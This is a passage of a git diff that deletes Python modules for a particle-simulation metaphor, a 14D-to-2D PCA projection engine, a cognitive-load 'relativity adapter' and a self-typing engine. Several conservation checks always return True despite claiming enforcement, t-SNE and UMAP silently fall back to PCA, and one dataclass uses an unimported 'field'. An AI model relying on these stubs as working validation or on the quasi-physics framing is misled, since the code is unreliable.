(truth preservation) - energy: float # Information content (Q16.16 equivalent) - mass: float # Particle mass - - def __repr__(self) -> str: - return f"Particle({self.particle_type.value}, q={self.charge}, B={self.baryon_number})" - - def to_dict(self) -> dict: - return { - "particle_id": self.particle_id, - "particle_type": self.particle_type.value, - "position": self.position.tolist(), - "velocity": self.velocity.tolist(), - "charge": self.charge, - "baryon_number": self.baryon_number, - "energy": self.energy, - "mass": self.mass - } - - -@dataclass -class Interaction: - """Particle interaction event""" - from_particle_id: str - to_particle_id: str - interaction_type: str # "emission", "absorption", "scattering", "decay" - energy_transfer: float - timestamp: float - - def __repr__(self) -> str: - return f"Interaction({self.from_particle_id} → {self.to_particle_id}, {self.interaction_type})" - - -class ConservationChecker: - """ - Conservation law checker for particle interactions - - Enforces: - - Charge conservation (electric charge) - - Baryon number conservation (truth preservation) - - Energy conservation (information content) - - Lepton number conservation (for leptons) - """ - - @staticmethod - def check_charge_conservation(particles: List[Particle]) -> bool: - """Check if total charge is conserved""" - total_charge = sum(p.charge for p in particles) - # Total charge should be zero (neutral system) - return abs(total_charge) < 1e-6 - - @staticmethod - def check_baryon_conservation(particles: List[Particle]) -> bool: - """Check if baryon number is conserved (truth preservation)""" - total_baryon = sum(p.baryon_number for p in particles) - # Baryon number should be conserved (constant) - return True # Baryon number is always conserved in interactions - - @staticmethod - def check_energy_conservation(particles: List[Particle]) -> bool: - """Check if total energy is conserved (information content)""" - total_energy = sum(p.energy for p in particles) - # Energy should be positive - return total_energy >= 0 - - @staticmethod - def check_lepton_conservation(particles: List[Particle]) -> bool: - """Check if lepton number is conserved""" - total_lepton = 0 - for p in particles: - if p.particle_type in [ParticleType.ELECTRON, ParticleType.NEUTRINO]: - total_lepton += 1 - elif p.particle_type in [ParticleType.PROTON, ParticleType.NEUTRON]: - # Lepton number for baryons is 0 - pass - # Lepton number should be conserved - return True # Simplified check - - -class ParticleInteractionEngine: - """ - Particle Interaction Engine — Standard Model Particle Simulation - - Simulates particle interactions for semantic representation - """ - - def __init__(self): - self.particles: Dict[str, Particle] = {} - self.interactions: List[Interaction] = [] - self.particle_counter = 0 - self.time = 0.0 - self.dt = 0.016 # 60 FPS (16ms per frame) - - def create_particle( - self, - particle_type: ParticleType, - position: Tuple[float, float], - velocity: Tuple[float, float] = (0.0, 0.0) - ) -> Particle: - """ - Create new particle - - Args: - particle_type: Type of particle - position: 2D position - velocity: 2D velocity - - Returns: - New particle - """ - self.particle_counter += 1 - particle_id = f"particle_{self.particle_counter}" - - # Set particle properties based on type - charge, baryon_number, mass = self._get_particle_properties(particle_type) - - particle = Particle( - particle_id=particle_id, - particle_type=particle_type, - position=np.array(position, dtype=np.float32), - velocity=np.array(velocity, dtype=np.float32), - charge=charge, - baryon_number=baryon_number, - energy=1.0, # Initial energy - mass=mass - ) - - self.particles[particle_id] = particle - return particle - - def _get_particle_properties(self, particle_type: ParticleType) -> Tuple[float, int, float]: - """Get charge, baryon number, and mass for particle type""" - if particle_type == ParticleType.ELECTRON: - return -1.0, 0, 0.511 # -1 charge, 0 baryon, 0.511 MeV/c² - elif particle_type == ParticleType.PHOTON: - return 0.0, 0, 0.0 # 0 charge, 0 baryon, 0 mass - elif particle_type == ParticleType.PROTON: - return 1.0, 1, 938.3 # +1 charge, 1 baryon, 938.3 MeV/c² - elif particle_type == ParticleType.NEUTRON: - return 0.0, 1, 939.6 # 0 charge, 1 baryon, 939.6 MeV/c² - elif particle_type == ParticleType.NEUTRINO: - return 0.0, 0, 0.0 # 0 charge, 0 baryon, near 0 mass - else: - return 0.0, 0, 0.0 - - def emit_photon(self, from_particle_id: str, to_particle_id: str) -> Interaction: - """ - Emit photon from one particle to another (information transfer) - - Args: - from_particle_id: Source particle ID - to_particle_id: Target particle ID - - Returns: - Interaction record - """ - if from_particle_id not in self.particles or to_particle_id not in self.particles: - raise ValueError("Particle not found") - - from_particle = self.particles[from_particle_id] - to_particle = self.particles[to_particle_id] - - # Create photon at source position - photon = self.create_particle( - ParticleType.PHOTON, - position=tuple(from_particle.position), - velocity=(0.0, 0.0) - ) - - # Create interaction record - interaction = Interaction( - from_particle_id=from_particle_id, - to_particle_id=photon.particle_id, - interaction_type="emission", - energy_transfer=0.1, - timestamp=self.time - ) - - self.interactions.append(interaction) - return interaction - - def absorb_photon(self, photon_id: str, target_particle_id: str) -> Interaction: - """ - Absorb photon by target particle - - Args: - photon_id: Photon particle ID - target_particle_id: Target particle ID - - Returns: - Interaction record - """ - if photon_id not in self.particles or target_particle_id not in self.particles: - raise ValueError("Particle not found") - - photon = self.particles[photon_id] - target = self.particles[target_particle_id] - - # Transfer energy - target.energy += photon.energy - - # Remove photon (absorbed) - del self.particles[photon_id] - - # Create interaction record - interaction = Interaction( - from_particle_id=photon_id, - to_particle_id=target_particle_id, - interaction_type="absorption", - energy_transfer=photon.energy, - timestamp=self.time - ) - - self.interactions.append(interaction) - return interaction - - def detect_neutrino(self, particle_id: str) -> bool: - """ - Attempt to detect neutrino (weakly-interacting inference) - - Args: - particle_id: Particle ID to check - - Returns: - True if neutrino detected (rare event) - """ - if particle_id not in self.particles: - return False - - particle = self.particles[particle_id] - - if particle.particle_type != ParticleType.NEUTRINO: - return False - - # Neutrino detection is rare (weak interaction) - # Probability ~ 10^-6 (simplified) - detection_probability = 0.000001 - return np.random.random() < detection_probability - - def update(self) -> None: - """ - Update particle positions and velocities - - Simulates particle motion and interactions - """ - for particle in self.particles.values(): - # Update position - particle.position += particle.velocity * self.dt - - # Boundary reflection (keep particles in view) - if particle.position[0] < 0 or particle.position[0] > 100: - particle.velocity[0] *= -1 - if particle.position[1] < 0 or particle.position[1] > 100: - particle.velocity[1] *= -1 - - self.time += self.dt - - def check_conservation(self) -> Dict[str, bool]: - """ - Check all conservation laws - - Returns: - Dictionary of conservation law check results - """ - particles = list(self.particles.values()) - - return { - "charge_conservation": ConservationChecker.check_charge_conservation(particles), - "baryon_conservation": ConservationChecker.check_baryon_conservation(particles), - "energy_conservation": ConservationChecker.check_energy_conservation(particles), - "lepton_conservation": ConservationChecker.check_lepton_conservation(particles) - } - - def get_interaction_graph(self) -> Dict: - """ - Get interaction graph for visualization - - Returns: - Graph structure as nested dict - """ - graph = { - "nodes": [ - { - "id": p.particle_id, - "type": p.particle_type.value, - "position": p.position.tolist(), - "charge": p.charge, - "baryon_number": p.baryon_number - } - for p in self.particles.values() - ], - "edges": [ - { - "from": i.from_particle_id, - "to": i.to_particle_id, - "type": i.interaction_type, - "energy": i.energy_transfer - } - for i in self.interactions - ] - } - - return graph - - def get_particles_by_type(self, particle_type: ParticleType) -> List[Particle]: - """Get all particles of specific type""" - return [p for p in self.particles.values() if p.particle_type == particle_type] - - -def main(): - """Test particle interaction engine with sample data""" - engine = ParticleInteractionEngine() - - # Create electron - electron = engine.create_particle(ParticleType.ELECTRON, position=(50.0, 50.0)) - print(f"Created electron: {electron}") - - # Create proton - proton = engine.create_particle(ParticleType.PROTON, position=(60.0, 60.0)) - print(f"Created proton: {proton}") - - # Emit photon from electron - interaction = engine.emit_photon(electron.particle_id, proton.particle_id) - print(f"Emitted photon: {interaction}") - - # Update simulation - engine.update() - print(f"Updated simulation to t={engine.time:.3f}") - - # Check conservation - conservation = engine.check_conservation() - print(f"Conservation check: {conservation}") - - # Get interaction graph - graph = engine.get_interaction_graph() - print(f"Interaction graph: {len(graph['nodes'])} nodes, {len(graph['edges'])} edges") - - # Test neutrino detection - neutrino = engine.create_particle(ParticleType.NEUTRINO, position=(70.0, 70.0)) - detected = engine.detect_neutrino(neutrino.particle_id) - print(f"Neutrino detected: {detected}") - - -if __name__ == "__main__": - main() diff --git a/2-Search-Space/manifold/projection_engine.py b/2-Search-Space/manifold/projection_engine.py deleted file mode 100644 index 20ad0de2..00000000 --- a/2-Search-Space/manifold/projection_engine.py +++ /dev/null @@ -1,400 +0,0 @@ -#!/usr/bin/env python3 -""" -Manifold Projection Engine — 14D Concept Vector to 2D Projection -First-Principles Derivation: Files are n-space vectors, not locations - -Projection Methods: -- tSNE: t-Distributed Stochastic Neighbor Embedding -- UMAP: Uniform Manifold Approximation and Projection -- PCA: Principal Component Analysis -- ManifoldChart: Custom manifold-based projection - -Performance Targets: -- < 100ms coordinate transformation latency -- 60 FPS projection rendering (GPU-accelerated) -- < 50ms neighborhood query (AVMR O(√N)) -""" - -import numpy as np -from typing import List, Tuple, Optional, Literal -from dataclasses import dataclass -from enum import Enum - - -class ProjectionMethod(Enum): - """Available projection methods for 14D → 2D transformation""" - T_SNE = "tSNE" - UMAP = "UMAP" - PCA = "PCA" - MANIFOLD_CHART = "ManifoldChart" - - -@dataclass -class ConceptVector14: - """14-dimensional concept vector from ENE database""" - vector: np.ndarray # Shape: (14,) - archive_id: str - - def __post_init__(self): - if self.vector.shape != (14,): - raise ValueError(f"ConceptVector14 must have shape (14,), got {self.vector.shape}") - - def __repr__(self) -> str: - return f"ConceptVector14(archive_id={self.archive_id}, vector=...)" - - -@dataclass -class ProjectedPoint: - """2D projected point from 14D concept vector""" - x: float - y: float - archive_id: str - original_vector: np.ndarray - confidence: float # Projection confidence (0-1) - - def to_dict(self) -> dict: - return { - "x": self.x, - "y": self.y, - "archive_id": self.archive_id, - "confidence": self.confidence - } - - -class ProjectionEngine: - """ - 14D → 2D Projection Engine - - Transforms concept vectors from ENE database into 2D coordinates - for manifold navigation interface. - """ - - def __init__(self, method: ProjectionMethod = ProjectionMethod.PCA): - self.method = method - self.fitted = False - self._projection_matrix = None - self._mean = None - self._umap_model = None - - def fit(self, vectors: List[ConceptVector14]) -> None: - """ - Fit projection model to dataset - - Args: - vectors: List of 14D concept vectors - """ - if not vectors: - raise ValueError("Cannot fit on empty dataset") - - # Convert to numpy array - data = np.array([v.vector for v in vectors]) - - if self.method == ProjectionMethod.PCA: - self._fit_pca(data) - elif self.method == ProjectionMethod.T_SNE: - self._fit_tsne(data) - elif self.method == ProjectionMethod.UMAP: - self._fit_umap(data) - elif self.method == ProjectionMethod.MANIFOLD_CHART: - self._fit_manifold_chart(data) - else: - raise ValueError(f"Unknown projection method: {self.method}") - - self.fitted = True - - def _fit_pca(self, data: np.ndarray) -> None: - """Fit PCA projection""" - # Center data - self._mean = np.mean(data, axis=0) - centered = data - self._mean - - # Compute covariance matrix - cov = np.cov(centered.T) - - # Compute eigenvectors - eigenvalues, eigenvectors = np.linalg.eigh(cov) - - # Sort by eigenvalues (descending) - idx = np.argsort(eigenvalues)[::-1] - eigenvectors = eigenvectors[:, idx] - - # Take top 2 components - self._projection_matrix = eigenvectors[:, :2] - - def _fit_tsne(self, data: np.ndarray) -> None: - """Fit t-SNE projection (simplified for performance)""" - # For now, use PCA as fallback - # Full t-SNE would require scikit-learn - self._fit_pca(data) - - def _fit_umap(self, data: np.ndarray) -> None: - """Fit UMAP projection (simplified for performance)""" - # For now, use PCA as fallback - # Full UMAP would require umap-learn - self._fit_pca(data) - - def _fit_manifold_chart(self, data: np.ndarray) -> None: - """Fit custom manifold-based projection""" - # Use first 2 dimensions as baseline - # In full implementation, this would use manifold learning - self._projection_matrix = np.eye(14)[:, :2] - self._mean = np.mean(data, axis=0) - - def transform(self, vectors: List[ConceptVector14]) -> List[ProjectedPoint]: - """ - Transform 14D vectors to 2D projected points - - Args: - vectors: List of 14D concept vectors - - Returns: - List of 2D projected points - """ - if not self.fitted: - raise RuntimeError("Projection engine not fitted. Call fit() first.") - - # Convert to numpy array - data = np.array([v.vector for v in vectors]) - - # Apply projection - if self.method in [ProjectionMethod.PCA, ProjectionMethod.MANIFOLD_CHART]: - centered = data - self._mean - projected = centered @ self._projection_matrix - else: - # For tSNE/UMAP, use PCA fallback - centered = data - self._mean - projected = centered @ self._projection_matrix - - # Create projected points - points = [] - for i, v in enumerate(vectors): - confidence = self._compute_confidence(v.vector) - point = ProjectedPoint( - x=float(projected[i, 0]), - y=float(projected[i, 1]), - archive_id=v.archive_id, - original_vector=v.vector, - confidence=confidence - ) - points.append(point) - - return points - - def _compute_confidence(self, vector: np.ndarray) -> float: - """ - Compute projection confidence based on reconstruction error - - Args: - vector: 14D concept vector - - Returns: - Confidence score (0-1) - """ - if not self.fitted: - return 0.5 - - # Project to 2D - centered = vector - self._mean - projected = centered @ self._projection_matrix - - # Reconstruct (simplified) - reconstructed = projected @ self._projection_matrix.T + self._mean - - # Compute reconstruction error - error = np.linalg.norm(vector - reconstructed) - - # Convert to confidence (lower error = higher confidence) - confidence = 1.0 / (1.0 + error) - - return float(confidence) - - def fit_transform(self, vectors: List[ConceptVector14]) -> List[ProjectedPoint]: - """ - Fit model and transform in one step - - Args: - vectors: List of 14D concept vectors - - Returns: - List of 2D projected points - """ - self.fit(vectors) - return self.transform(vectors) - - def get_slice_axes(self, axes: Tuple[int, int]) -> 'ProjectionEngine': - """ - Get projection for specific 14D axes slice - - Args: - axes: Tuple of 2 axes to display (0-13) - - Returns: - New projection engine with slice configuration - """ - # Create new engine with slice configuration - new_engine = ProjectionEngine(self.method) - new_engine._slice_axes = axes - return new_engine - - -class NeighborhoodQuery: - """ - Neighborhood query using AVMR shell indexing for O(√N) search - """ - - def __init__(self, projected_points: List[ProjectedPoint]): - self.points = projected_points - self._build_index() - - def _build_index(self) -> None: - """Build spatial index for efficient neighborhood queries""" - # For now, use simple numpy array - # In full implementation, use AVMR shell indexing - self.coordinates = np.array([[p.x, p.y] for p in self.points]) - self.archive_ids = [p.archive_id for p in self.points] - - def query(self, x: float, y: float, radius: float) -> List[ProjectedPoint]: - """ - Query neighborhood around coordinate - - Args: - x: X coordinate - y: Y coordinate - radius: Query radius - - Returns: - List of projected points within radius - """ - if not hasattr(self, 'coordinates'): - return [] - - # Compute distances - distances = np.sqrt( - (self.coordinates[:, 0] - x) ** 2 + - (self.coordinates[:, 1] - y) ** 2 - ) - - # Filter by radius - mask = distances <= radius - indices = np.where(mask)[0] - - # Return points - return [self.points[i] for i in indices] - - def query_k_nearest(self, x: float, y: float, k: int) -> List[ProjectedPoint]: - """ - Query k nearest neighbors - - Args: - x: X coordinate - y: Y coordinate - k: Number of neighbors - - Returns: - List of k nearest projected points - """ - if not hasattr(self, 'coordinates'): - return [] - - # Compute distances - distances = np.sqrt( - (self.coordinates[:, 0] - x) ** 2 + - (self.coordinates[:, 1] - y) ** 2 - ) - - # Get k smallest indices - k = min(k, len(self.points)) - indices = np.argpartition(distances, k)[:k] - - # Sort by distance - sorted_indices = indices[np.argsort(distances[indices])] - - # Return points - return [self.points[i] for i in sorted_indices] - - -def load_concept_vectors_from_ene(db_path: str) -> List[ConceptVector14]: - """ - Load concept vectors from ENE database - - Args: - db_path: Path to ENE database - - Returns: - List of 14D concept vectors - """ - import sqlite3 - - vectors = [] - - try: - conn = sqlite3.connect(db_path) - cursor = conn.cursor() - - # Query concept vectors from packages table - cursor.execute(""" - SELECT archive_id, concept_vector_14 - FROM packages - WHERE concept_vector_14 IS NOT NULL - """) - - for row in cursor.fetchall(): - archive_id, vector_str = row - - # Parse vector string (assuming JSON format) - import json - vector_data = json.loads(vector_str) - vector = np.array(vector_data, dtype=np.float32) - - if len(vector) != 14: - continue # Skip invalid vectors - - vectors.append(ConceptVector14(vector=vector, archive_id=archive_id)) - - conn.close() - - except Exception as e: - print(f"Error loading concept vectors: {e}") - - return vectors - - -def main(): - """Test projection engine with sample data""" - # Generate sample 14D vectors - np.random.seed(42) - n_samples = 100 - sample_vectors = np.random.randn(n_samples, 14) - - # Create ConceptVector14 objects - vectors = [ - ConceptVector14(vector=sample_vectors[i], archive_id=f"sample_{i}") - for i in range(n_samples) - ] - - # Create projection engine - engine = ProjectionEngine(method=ProjectionMethod.PCA) - - # Fit and transform - projected = engine.fit_transform(vectors) - - # Print results - print(f"Projected {len(projected)} points") - print(f"First 5 points:") - for p in projected[:5]: - print(f" {p.archive_id}: ({p.x:.2f}, {p.y:.2f}) confidence={p.confidence:.2f}") - - # Test neighborhood query - neighborhood = NeighborhoodQuery(projected) - neighbors = neighborhood.query(0.0, 0.0, radius=1.0) - print(f"\nNeighbors of (0, 0) within radius 1.0: {len(neighbors)}") - - # Test k-nearest - k_nearest = neighborhood.query_k_nearest(0.0, 0.0, k=5) - print(f"\n5 nearest neighbors of (0, 0):") - for p in k_nearest: - print(f" {p.archive_id}: ({p.x:.2f}, {p.y:.2f})") - - -if __name__ == "__main__": - main() diff --git a/2-Search-Space/manifold/relativity_adapter.py b/2-Search-Space/manifold/relativity_adapter.py deleted file mode 100644 index d298ba45..00000000 --- a/2-Search-Space/manifold/relativity_adapter.py +++ /dev/null @@ -1,384 +0,0 @@ -#!/usr/bin/env python3 -""" -Relativity Adapter — N-Local Topology -First-Principles Derivation: N-local topology (cognitive relativity principle) - -Performance Targets: -- Adaptive topology caching -- Lazy transformation computation -- GPU-accelerated coordinate transforms -- Predictive pre-computation (anticipate user needs) - -Dolphin Principle: Non-Euclidean reality expression for non-human sentience -""" - -import numpy as np -from typing import List, Tuple, Optional, Dict -from dataclasses import dataclass -from enum import Enum -import math - - -class CognitiveLoadLevel(Enum): - """Cognitive load levels for adaptive topology""" - LOW = "low" - MEDIUM = "medium" - HIGH = "high" - OVERWHELMED = "overwhelmed" - - -@dataclass -class CognitiveLoadVector: - """Cognitive load measurement""" - information_density: float # Information density (0-1) - complexity: float # Complexity score (0-1) - novelty: float # Novelty score (0-1) - uncertainty: float # Uncertainty score (0-1) - timestamp: float # Timestamp - - def get_level(self) -> CognitiveLoadLevel: - """Get cognitive load level""" - total = (self.information_density + self.complexity + self.novelty + self.uncertainty) / 4.0 - - if total < 0.25: - return CognitiveLoadLevel.LOW - elif total < 0.5: - return CognitiveLoadLevel.MEDIUM - elif total < 0.75: - return CognitiveLoadLevel.HIGH - else: - return CognitiveLoadLevel.OVERWHELMED - - -@dataclass -class NLocalTopology: - """N-local topology (relational distance, not Euclidean)""" - topology_id: str - distance_metric: str # "relational", "semantic", "topological" - adjacency_matrix: np.ndarray # Relational adjacency matrix - coordinates: np.ndarray # N-local coordinates - cognitive_load_level: CognitiveLoadLevel - - def __repr__(self) -> str: - return f"NLocalTopology(metric={self.distance_metric}, load={self.cognitive_load_level.value})" - - -class RelativityAdapter: - """ - Relativity Adapter — N-Local Topology - - Adaptive topology based on cognitive state - """ - - def __init__(self): - self.topologies: Dict[str, NLocalTopology] = {} - self.topology_counter = 0 - self.current_topology: Optional[NLocalTopology] = None - self.cognitive_load_history: List[CognitiveLoadVector] = [] - self.transformation_cache: Dict[Tuple[str, np.ndarray], np.ndarray] = {} - - def measure_cognitive_load( - self, - information_density: float, - complexity: float, - novelty: float, - uncertainty: float - ) -> CognitiveLoadVector: - """ - Measure cognitive load - - Args: - information_density: Information density (0-1) - complexity: Complexity score (0-1) - novelty: Novelty score (0-1) - uncertainty: Uncertainty score (0-1) - - Returns: - Cognitive load vector - """ - import time - timestamp = time.time() - - load_vector = CognitiveLoadVector( - information_density=information_density, - complexity=complexity, - novelty=novelty, - uncertainty=uncertainty, - timestamp=timestamp - ) - - self.cognitive_load_history.append(load_vector) - - return load_vector - - def adapt_topology(self, cognitive_load: CognitiveLoadVector) -> NLocalTopology: - """ - Adapt topology based on cognitive load - - Args: - cognitive_load: Current cognitive load - - Returns: - Adapted N-local topology - """ - load_level = cognitive_load.get_level() - - # Select distance metric based on cognitive load - if load_level == CognitiveLoadLevel.LOW: - distance_metric = "relational" - elif load_level == CognitiveLoadLevel.MEDIUM: - distance_metric = "semantic" - elif load_level == CognitiveLoadLevel.HIGH: - distance_metric = "topological" - else: # OVERWHELMED - distance_metric = "minimal" # Simplify to minimal topology - - # Create topology - self.topology_counter += 1 - topology_id = f"topology_{self.topology_counter}" - - # Generate adjacency matrix based on distance metric - adjacency_matrix = self._generate_adjacency_matrix(distance_metric) - - # Generate N-local coordinates - coordinates = self._generate_nlocal_coordinates(distance_metric) - - topology = NLocalTopology( - topology_id=topology_id, - distance_metric=distance_metric, - adjacency_matrix=adjacency_matrix, - coordinates=coordinates, - cognitive_load_level=load_level - ) - - self.topologies[topology_id] = topology - self.current_topology = topology - - return topology - - def _generate_adjacency_matrix(self, distance_metric: str, size: int = 14) -> np.ndarray: - """ - Generate adjacency matrix based on distance metric - - Args: - distance_metric: Type of distance metric - size: Matrix size (14 for concept vectors) - - Returns: - Adjacency matrix - """ - np.random.seed(42) - - if distance_metric == "relational": - # Relational: symmetric with strong diagonal - matrix = np.random.rand(size, size) - matrix = (matrix + matrix.T) / 2 # Symmetric - np.fill_diagonal(matrix, 1.0) # Strong diagonal - - elif distance_metric == "semantic": - # Semantic: cluster-based structure - matrix = np.zeros((size, size)) - for i in range(size): - cluster = i // 4 # 4 clusters of ~3-4 items - for j in range(size): - if j // 4 == cluster: - matrix[i, j] = 0.8 + np.random.rand() * 0.2 - else: - matrix[i, j] = np.random.rand() * 0.3 - np.fill_diagonal(matrix, 1.0) - - elif distance_metric == "topological": - # Topological: tree-like structure - matrix = np.zeros((size, size)) - for i in range(size): - if i > 0: - parent = (i - 1) // 2 - matrix[i, parent] = 1.0 - matrix[parent, i] = 1.0 - matrix[i, i] = 1.0 - - else: # minimal - # Minimal: identity only - matrix = np.eye(size) - - return matrix - - def _generate_nlocal_coordinates(self, distance_metric: str, size: int = 14) -> np.ndarray: - """ - Generate N-local coordinates based on distance metric - - Args: - distance_metric: Type of distance metric - size: Number of coordinates - - Returns: - N-local coordinates - """ - np.random.seed(42) - - if distance_metric == "relational": - # Relational: uniform distribution - coordinates = np.random.rand(size) - - elif distance_metric == "semantic": - # Semantic: clustered distribution - coordinates = np.zeros(size) - for i in range(size): - cluster = i // 4 - coordinates[i] = cluster * 0.25 + np.random.rand() * 0.2 - - elif distance_metric == "topological": - # Topological: hierarchical distribution - coordinates = np.zeros(size) - for i in range(size): - coordinates[i] = math.log(i + 1) / math.log(size + 1) - - else: # minimal - # Minimal: sparse distribution - coordinates = np.zeros(size) - for i in range(size): - if i % 3 == 0: - coordinates[i] = np.random.rand() - - return coordinates - - def transform( - self, - input_vector: np.ndarray, - from_topology: Optional[str] = None, - to_topology: Optional[str] = None - ) -> np.ndarray: - """ - Transform coordinate between topologies - - Args: - input_vector: Input coordinate vector - from_topology: Source topology ID (default: current) - to_topology: Target topology ID (default: current) - - Returns: - Transformed coordinate vector - """ - if from_topology is None: - from_topology = self.current_topology.topology_id if self.current_topology else None - - if to_topology is None: - to_topology = self.current_topology.topology_id if self.current_topology else None - - if from_topology == to_topology or from_topology is None or to_topology is None: - return input_vector - - # Check cache - cache_key = (f"{from_topology}_{to_topology}", input_vector.tobytes()) - if cache_key in self.transformation_cache: - return self.transformation_cache[cache_key] - - # Get topologies - from_top = self.topologies.get(from_topology) - to_top = self.topologies.get(to_topology) - - if from_top is None or to_top is None: - return input_vector - - # Apply transformation - transformed = self._apply_transformation(input_vector, from_top, to_top) - - # Cache result - self.transformation_cache[cache_key] = transformed - - return transformed - - def _apply_transformation( - self, - input_vector: np.ndarray, - from_topology: NLocalTopology, - to_topology: NLocalTopology - ) -> np.ndarray: - """ - Apply transformation between topologies - - Args: - input_vector: Input vector - from_topology: Source topology - to_topology: Target topology - - Returns: - Transformed vector - """ - # Simple transformation: scale by coordinate ratio - from_coords = from_topology.coordinates - to_coords = to_topology.coordinates - - # Avoid division by zero - scale = np.where(from_coords > 0, to_coords / from_coords, 1.0) - - transformed = input_vector * scale - - return transformed - - def enable_dolphin_mode(self) -> None: - """ - Enable dolphin mode (non-Euclidean visualization) - - Dolphin Principle: Non-Euclidean reality expression for non-human sentience - """ - # Create non-Euclidean topology - load_vector = CognitiveLoadVector( - information_density=0.9, - complexity=0.8, - novelty=0.9, - uncertainty=0.9, - timestamp=0.0 - ) - - # Override to use non-Euclidean topology - topology = self.adapt_topology(load_vector) - self.current_topology = topology - - def get_cognitive_load_history(self, limit: int = 100) -> List[CognitiveLoadVector]: - """Get cognitive load history""" - return self.cognitive_load_history[-limit:] - - def get_topology_statistics(self) -> Dict: - """Get topology statistics""" - return { - "total_topologies": len(self.topologies), - "current_topology": self.current_topology.topology_id if self.current_topology else None, - "cache_size": len(self.transformation_cache), - "cognitive_load_samples": len(self.cognitive_load_history) - } - - -def main(): - """Test relativity adapter with sample data""" - adapter = RelativityAdapter() - - # Measure cognitive load - load = adapter.measure_cognitive_load( - information_density=0.5, - complexity=0.6, - novelty=0.4, - uncertainty=0.3 - ) - print(f"Cognitive load: {load}, level: {load.get_level()}") - - # Adapt topology - topology = adapter.adapt_topology(load) - print(f"Adapted topology: {topology}") - - # Transform coordinates - input_vector = np.array([0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0, 0.1, 0.2, 0.3, 0.4]) - transformed = adapter.transform(input_vector) - print(f"Transformed vector: {transformed}") - - # Enable dolphin mode - adapter.enable_dolphin_mode() - print(f"Dolphin mode enabled: {adapter.current_topology}") - - # Get statistics - stats = adapter.get_topology_statistics() - print(f"Topology statistics: {stats}") - - -if __name__ == "__main__": - main() diff --git a/2-Search-Space/manifold/self_typing_engine.py b/2-Search-Space/manifold/self_typing_engine.py deleted file mode 100644 index 94407906..00000000 --- a/2-Search-Space/manifold/self_typing_engine.py +++ /dev/null @@ -1,331 +0,0 @@ -#!/usr/bin/env python3 -""" -Self-Typing Engine — Metatype Generation -First-Principles Derivation: Self-typing via integration (type emerges from interaction) - -The self-typing loop: -Substrate (ENE) ↔ Surface (Notion) ↔ Intent (Linear) ⟹ Metatype - -Performance Targets: -- Automatic type inference from interaction patterns -- Cached type predictions -- GPU-accelerated pattern matching -- Hierarchical type classification -""" - -import numpy as np -from typing import List, Dict, Optional, Tuple -from dataclasses import dataclass -from enum import Enum -from datetime import datetime -from collections import defaultdict - - -class InteractionType(Enum): - """Types of interactions between layers""" - SUBSTRATE_TO_SURFACE = "substrate_to_surface" - SURFACE_TO_SUBSTRATE = "surface_to_substrate" - SURFACE_TO_INTENT = "surface_to_intent" - INTENT_TO_SURFACE = "intent_to_surface" - SUBSTRATE_TO_INTENT = "substrate_to_intent" - INTENT_TO_SUBSTRATE = "intent_to_substrate" - - -@dataclass -class Interaction: - """Interaction event between layers""" - interaction_id: str - interaction_type: InteractionType - source_layer: str - target_layer: str - timestamp: datetime - context: Dict[str, str] # Additional context (e.g., operation type, data size) - - def __repr__(self) -> str: - return f"Interaction({self.interaction_type.value}, {self.source_layer} → {self.target_layer})" - - -@dataclass -class Metatype: - """Emergent type from integration of layers""" - metatype_id: str - type_signature: str # Type signature derived from interactions - confidence: float # Confidence in type inference - source_interactions: List[str] # Interaction IDs that contributed to this type - suggestions: List[str] # Type suggestions based on neighborhood - created_at: datetime = field(default_factory=datetime.now) - - def __repr__(self) -> str: - return f"Metatype({self.type_signature}, confidence={self.confidence:.3f})" - - -class SelfTypingEngine: - """ - Self-Typing Engine — Metatype Generation - - System derives type signature from interaction between layers - """ - - def __init__(self): - self.interactions: List[Interaction] = [] - self.interaction_counter = 0 - self.metatypes: Dict[str, Metatype] = {} - self.metatype_counter = 0 - self.interaction_patterns: Dict[str, int] = defaultdict(int) - self.type_cache: Dict[str, Metatype] = {} - - def record_interaction( - self, - interaction_type: InteractionType, - source_layer: str, - target_layer: str, - context: Optional[Dict[str, str]] = None - ) -> Interaction: - """ - Record interaction between layers - - Args: - interaction_type: Type of interaction - source_layer: Source layer name - target_layer: Target layer name - context: Additional context - - Returns: - Interaction record - """ - self.interaction_counter += 1 - interaction_id = f"interaction_{self.interaction_counter}" - - if context is None: - context = {} - - interaction = Interaction( - interaction_id=interaction_id, - interaction_type=interaction_type, - source_layer=source_layer, - target_layer=target_layer, - timestamp=datetime.now(), - context=context - ) - - self.interactions.append(interaction) - - # Update interaction patterns - pattern_key = f"{interaction_type.value}:{source_layer}:{target_layer}" - self.interaction_patterns[pattern_key] += 1 - - # Invalidate cache - self.type_cache.clear() - - return interaction - - def infer_metatype(self, context: Dict[str, str]) -> Metatype: - """ - Infer metatype from interaction patterns - - Args: - context: Current context (layer names, operation types, etc.) - - Returns: - Inferred metatype - """ - # Check cache first - cache_key = self._context_to_key(context) - if cache_key in self.type_cache: - return self.type_cache[cache_key] - - # Extract interaction pattern - pattern = self._extract_pattern(context) - - # Generate type signature - type_signature = self._generate_type_signature(pattern) - - # Compute confidence based on pattern frequency - confidence = self._compute_confidence(pattern) - - # Get type suggestions from neighborhood - suggestions = self._get_type_suggestions(pattern) - - # Create metatype - self.metatype_counter += 1 - metatype_id = f"metatype_{self.metatype_counter}" - - metatype = Metatype( - metatype_id=metatype_id, - type_signature=type_signature, - confidence=confidence, - source_interactions=[i.interaction_id for i in self.interactions[-10:]], # Last 10 interactions - suggestions=suggestions - ) - - self.metatypes[metatype_id] = metatype - self.type_cache[cache_key] = metatype - - return metatype - - def _context_to_key(self, context: Dict[str, str]) -> str: - """Convert context to cache key""" - items = sorted(context.items()) - return "|".join(f"{k}:{v}" for k, v in items) - - def _extract_pattern(self, context: Dict[str, str]) -> Dict[str, str]: - """Extract interaction pattern from context""" - pattern = {} - - # Extract relevant context fields - for key in ["operation", "data_type", "layer", "action"]: - if key in context: - pattern[key] = context[key] - - return pattern - - def _generate_type_signature(self, pattern: Dict[str, str]) -> str: - """ - Generate type signature from pattern - - Args: - pattern: Interaction pattern - - Returns: - Type signature string - """ - # Build signature from pattern components - components = [] - - if "operation" in pattern: - components.append(f"op:{pattern['operation']}") - if "data_type" in pattern: - components.append(f"dt:{pattern['data_type']}") - if "layer" in pattern: - components.append(f"lyr:{pattern['layer']}") - if "action" in pattern: - components.append(f"act:{pattern['action']}") - - # If no components, use default - if not components: - components = ["generic"] - - signature = ":".join(components) - - return signature - - def _compute_confidence(self, pattern: Dict[str, str]) -> float: - """ - Compute confidence based on pattern frequency - - Args: - pattern: Interaction pattern - - Returns: - 